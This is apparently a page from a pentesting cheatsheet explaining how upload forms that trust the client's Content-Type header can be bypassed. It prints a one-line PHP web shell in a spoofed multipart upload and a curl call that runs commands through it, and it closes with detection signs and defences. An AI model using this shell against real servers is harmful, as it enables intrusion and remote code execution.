the_open_door
coffee
ESEN
← Back to index

File Upload Bypass (Content-Type)

Full command arsenal in the cheatsheet

Many upload forms "validate" a file's type by looking at the Content-Type header the client sends in the multipart request. The problem is that this value is set by the browser (or by us), not by the real content: changing it to image/png while uploading a .php fools that check and lets you write an executable file to the server (file upload to RCE).

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>

If the server only checks the Content-Type (not the final extension, the content or where it lands), the .php ends up in a web-accessible folder and is invoked:

curl 'https://<ip>/uploads/shell.php?cmd=id'

It's one of the weakest validations, and it combines with or alternates with other upload bypasses: double extension, null byte, or faking the file signature (magic bytes) when the first bytes are also inspected.

Nuances. A Content-Type passing doesn't guarantee RCE: the file must also be stored with an executable extension and in a path served by the interpreter. If the server renames it, relocates it to a no-execute store or validates the real content, the Content-Type bypass isn't enough.

How to detect it. In the server logs the signature is a multipart request whose declared Content-Type (image/png) does not match the extension or the real file content, followed shortly after by a GET to that same file in the uploads directory. A .php, .jsp or .aspx appearing inside a user image folder is, on its own, an indicator of compromise.

Defence. Don't trust the client Content-Type; validate the real content (server-side MIME by magic bytes), force a safe extension, store outside the webroot and serve it with a handler that doesn't execute.

Machines where it's used